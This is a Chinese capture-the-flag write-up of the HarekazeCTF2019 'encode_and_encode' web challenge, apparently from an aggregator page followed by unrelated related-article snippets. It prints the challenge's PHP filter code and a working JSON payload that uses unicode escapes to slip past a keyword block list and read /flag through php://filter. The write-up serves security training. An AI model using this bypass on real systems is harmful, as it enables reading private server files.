[HarekazeCTF2019]encode_and_encode

2023-11-11

[HarekazeCTF2019]encode_and_encode

打开环境,得到源码

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
//过滤函数
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码

if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效(能否通过过滤函数),json数据要有page
  $page = $json['page'];
  $content = file_get_contents($page); #从page中读出文件名,并读取文件
  if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出

嗯。。。代码读懂后,就直接构造payload了:{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
抓包在这里插入图片描述解码在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[HarekazeCTF2019]encode_and_encode 的相关文章

  • 如何通过 firebase 托管将我的主页重定向到随机 url?

    我正在尝试使用 firebase 托管通过 302 重定向来重定向我的主页 redirects source destination what do i put here type 302 在我的公共文件夹中 有index html 404
  • 连接到 mysql 服务器(localhost)非常慢

    实际上有点复杂 摘要 与数据库的连接非常慢 页面渲染大约需要 10 秒 但页面上的最后一条语句是一个回显 当页面在 Firefox 中加载时我可以看到它的输出 IE 是相同的 在谷歌浏览器中 只有在加载完成后输出才可见 不同浏览器的加载时间
  • 是否可以在MySQL UDF中的IF条件中声明游标

    我可以在 if 语句中声明游标吗 如果可能的话我怎样才能做到 因为我刚刚做了这样的光标 CREATE FUNCTION fn test ProductID BIGINT 20 RETURNS DECIMAL 10 2 BEGIN DECLA
  • 如何为 eclipse PHP 调试设置正确的 URL

    我在使用非标准 URL 在 Eclipse 中设置 PHP 调试时遇到问题 我的应用程序的 URL 必须是http xxx index php http xxx index php 这是我无法轻易改变的 我在设置调试配置来调用此 URL 时
  • 添加验证码到 Symfony2 登录

    我需要将验证码添加到我的登录页面 我正在使用 GregwarCaptchaBundle 和 FosUserBundle 目前我已经使用以下代码在登录时显示验证码
  • 按索引偶数或奇数将数组拆分为两个数组

    我有这个数组 array array a b c d e f g 我想根据索引是偶数还是奇数将其分成两个数组 如下所示 odd array a c e g even array b d f 提前致谢 一种解决方案 使用匿名函数和array
  • WSDL 中的数组响应 - SOAP PHP

    在我的 wsdl 代码中 我得到一个整数 我想返回数组中的结果 为什么在我的输入中我只有一个整数 而我需要数组中的结果 因为在我的 php 函数中 我想从客户端选择的整数中的数据库返回信息 例如 我的客户发送1 在我的php中 我从数据库中
  • 使用 Java-Large 文件查询 JSON 文件

    我正在尝试使用 java 解析下面的 JSON 文件 我需要能够 按 ID 或名称或对象中的任何字段搜索文件 也在字段中搜索空值 搜索应返回整个对象 该文件将会很大 并且搜索应该仍然很省时 id 1 name Mark Robb last
  • PHP 正则表达式查找特定的阿拉伯语关键字

    我需要找到一种可靠的方法来使用 PHP 搜索阿拉伯语单词 我要搜索的文本可能是英语或阿拉伯语 因此英语单词不能破坏系统 我一直在阅读 PHP 手册和其他一些材料 并认为我有一个正确的解决方案 但我将感谢一些正则表达式专家的一些意见 这项任务
  • 在 CentOS 6.5 上升级 PHP(最终版)

    我正在尝试更新我的 PHP 当前 v 5 3 3 到最新的稳定 PHP 版本 但它没有正常运行 并且显示没有任何内容可以更新 任何帮助都会有用的 不断地说 没有标记为更新的软件包 正如 Jacob 提到的 CentOS 软件包存储库目前似乎
  • 我如何知道是否启用了 PHP 缓存?

    我曾经认为缓存很难安装 所以我从来没有这样做过 在阅读了有关 APC 的内容后 它似乎很容易安装 我一直认为我必须修改应用程序中的大量 PHP 代码才能使用它 哈哈 不管怎样 我想安装APC 我可以使用 phpinfo 并注意到它没有在页面
  • 如何使用 Newtonsoft Json.NET 处理 JSON 文档中的对象引用?

    我有一个 json 数据集 带有标准数据字段和参考字段 它看起来像这样 id 1 name Book description Something you can read id 2 name newspaper description re
  • Spring boot 404错误自定义错误响应ReST

    我正在使用 Spring boot 来托管 REST API 即使浏览器正在访问 URL 以及自定义数据结构 我也希望始终发送 JSON 响应 而不是使用标准错误响应 我可以使用 ControllerAdvice 和 ExceptionHa
  • 根据 WooCommerce 中的订单数量设置折扣

    在WooCommerce中 如何根据订单数量设置折扣 例如 我想根据客户订单应用折扣 首单折扣 50 美元 第二次订购折扣 30 美元 第三次订购折扣10美元 我搜索过互联网但没有找到任何可用的解决方案或插件 Thanks 这是一个挂钩的自
  • go json marshal 的默认大小写选项?

    我有以下结构要导出为 json type ExportedIncident struct Title string json title Host string json host Status string json status Dat
  • 将 mod-rewrite 添加到现有 PHP 网站

    我正在更新一个 php 应用程序 该应用程序当前不使用 url 重写 目的是隐藏文件扩展名 网站总体结构如下 root index php login php page1 php page2 php page3 php page4 php
  • 如何将带有自定义标头的任意 JSON 数据发送到 REST 服务器?

    TL DR 如何将 JSON 字符串发送到带有 auth 标头的 REST 主机 我尝试了 3 种不同的方法 发现一种适用于匿名类型 为什么我不能使用匿名类型 我需要设置一个名为 Group Name 的变量 并且连字符不是有效的 C 标识
  • GhostScript PDF 合并(丢失可编辑字段)

    我正在使用 GhostScript 将 PDF 合并为一个 PDF 其中一份 PDF 具有我在 Adob e Acrobat Pro 9 中创建的文本框字段 可编辑字段 当我使用 GhostScript 合并这两个 PDF 时 我丢失了文本
  • 添加和完成 PHP 源代码文档的工具 [关闭]

    Closed 此问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我有几个已完成的较旧的 PHP 项目 其中有很多内容 我想以 javadoc phpDocumentor
  • 如何使用 php 通过 https 下载文件

    我需要使用 PHP 下载 xml 文件 我可以在对文件进行curl 调用时通过设置以下选项来读取文件的内容 curl setopt http CURLOPT SSL VERIFYPEER false curl setopt http CUR

随机推荐

  • 问题 J: 36.for循环求阶乘

    题目描述 利用for循环来计算n 的值 输入格式 输入一个整数n n lt 20 输出格式 输出n 的结果是多少 输入样例 3 输出样例 6 这是一道肥肠煎蛋的递归题 边界是n 0 注意定义函数时要用long long哦 完整代码如下 in
  • c++ 第五章 模板

    模板 程序 算法 数据结构 数据结构 能够存储任意类型 算法 能够操作存储任意类型数据结构 泛型编程 泛型编程 面向过程编程 用模板实现函数过程 面向对象编程 用模板实现类 一 基本范例 a 模板定义是以template关键字开头 b 类型
  • Redis高可用高性能缓存的应用系列03 - 缓存过期淘汰策略LRU、LFU

    概述 Redis高可用高性能缓存的应用系列的第3篇 主要介绍Redis缓存过期淘汰策略和内存淘汰策略回收的LRU和LFU的知识点进行说明 Redis过期键删除策略 Redis设置key时 都会设置一个过期时间 那么当过期时间到了都是怎么处理
  • 【地理空间】轨迹相似度算法(DTW、LCSS)

    序列相似度 在现实生活中我们常常需要比较两串数字的相似度 比如两串数字 一维 再比如两条轨迹 二维 那么如何计算两个序列的相似度呢 有人提出了DTW算法 一种计算序列距离的方法 DTW算法原理 算法原理主要参考 https blog csd
  • Databend 设计概述

    Databend 是一个开源的 完全面向云架构的新式数仓 它提供快速的弹性扩展能力 并结合云的弹性 简单性和低成本 使 Data Cloud 构建变得更加容易 Databend 把数据存储在像 AWS S3 Azure Blob 这些云上的
  • JDBC连接数据库的几种方法与简单解析

    首先要知道jdbc 使用Java代码发送sql语句的技术就是jdbc技术 即jdbc是一个接口 用于不同的数据库 oracle mysql sqlserver 的操作 使用jdbc发送sql语句的前提 登录数据库服务器 连接数据库服务器 数
  • windows杀死进程命令

    有时候由于病毒或其他原因 启动了一系列的进程 并且有时杀了这个 又多了那个 这时候我们可以特定选择一种杀 很多人对windows杀死进程命令比较感兴趣 所以今天小编就为大家来详细讲一讲windows命令行关闭进程教程 感兴趣的用户一起来看看
  • LNK2001无法解析的外部符号 _vfprintf

    legacy stdio definitions lib
  • 感动了千千万万人们的西单女孩

    任月丽出生在河北涿州偏僻的农村 由于父母多病 自小由奶奶带大 为了减轻家庭负担 年仅16岁的她孤身一人来到北京 开始在一小餐馆打工 满1个月后老板没给工资 流浪街头时看到有地下歌手在卖唱 从小就喜欢唱歌的她萌生了也要唱歌的想法 遂与一流浪歌
  • 步步为营--深入研究react技术栈 系列一 (jsx、组件、数据流)

    相关技术博客 1 步步为营 深入研究react技术栈 系列一 jsx 组件 数据流 2 步步为营 深入研究react技术栈 系列二 事件 组件性能优化 更多系列文章持续更新中 一 React简介 React 是一个用于构建用户界面的 Jav
  • python出现indexerror,Python:IndexError:列表索引超出范围错误

    Updated look bottom I am stuck I get a IndexError list index out of range Error def makeInverseIndex strlist numStrList
  • 常用4线风扇接口定义

    4根线分别是GND VCC FG PWM 位置可能不同 FG是转速信号 用于CPU侦测转速 转速 频率 30 4极风扇 PWM通过方波占空比控制转速 PWM接地 最低转速 PWM不接最高转速 频率25KHZ 一般Duty 0 20 转速是相
  • 图灵赠书——程序员11月书单

    10月书讯中奖名单 wudalang gd 精通Git 第2版 chszs CCNA学习指南 路由和交换认证 第2版 sujun10 同构JavaScript应用开发 dongfeng9ge 学习JavaScript数据结构与算法 第2版
  • 目标检测基础

    什么是目标检测 简单来说就是 检测图片中物体所在的位置 本文只介绍用深度学习的方法进行目标检测 同过举出几个特性来帮助各位理解目标检测任务 同时建议学习目标检测应先具备物体人工智能算法基础和物体分类现实基础 特性1 Bounding Box
  • 解决华为手机不能用USB链接电脑的问题

    可能是由于USB空松动 所以总是安装不完驱动程序 USB调试开关自动关闭 导致安装不完驱动程序 手机的USB调试开关就关闭了 可以这样解决 以下为花粉俱乐部转载 我们经常这样的事情 打开USB调试之后 本来用得好好的 点了下USB连接选项
  • VS 静态库lib如何依赖动态库dll

    一般来说 vs可以提供正常的依赖输入窗口用于依赖动态库 但是当工程设置生成静态库之后 VS默认不支持给静态库增加依赖动态库 链接器选项没有了 此时只能够把静态库所依赖的动态库也改成静态库 这样这个静态库才能被正常编译 否则编译的时候会报错
  • golang并发编程基础

    go并发编程 1waitgroup WaitGroup就是等待所有的goroutine全部执行完毕 add方式和Down方法要配套使用 package main import fmt sync func main var wq sync W
  • 【STM32技巧】HX711称重芯片详细说明

    概述 HX711 模块 A 通道带有 128 倍信号增益 可以将 5mV 的电压放大 128 倍 然后采样输 出 24bit AD 转换的值 单片机通过指定时序将 24bit 数据读出 如何计算传感器供电电压 HX711 可以在产生 VAV
  • PAT_B_1094 谷歌的招聘 (20 分)【测试点3,5】

    本题要求你编程解决一个更通用的问题 从任一给定的长度为 L 的数字中 找出最早出现的 K 位连续数字所组成的素数 输入格式 输入在第一行给出 2 个正整数 分别是 L 不超过 1000 的正整数 为数字长度 和 K 小于 10 的正整数 接
  • [HarekazeCTF2019]encode_and_encode

    HarekazeCTF2019 encode and encode 打开环境 得到源码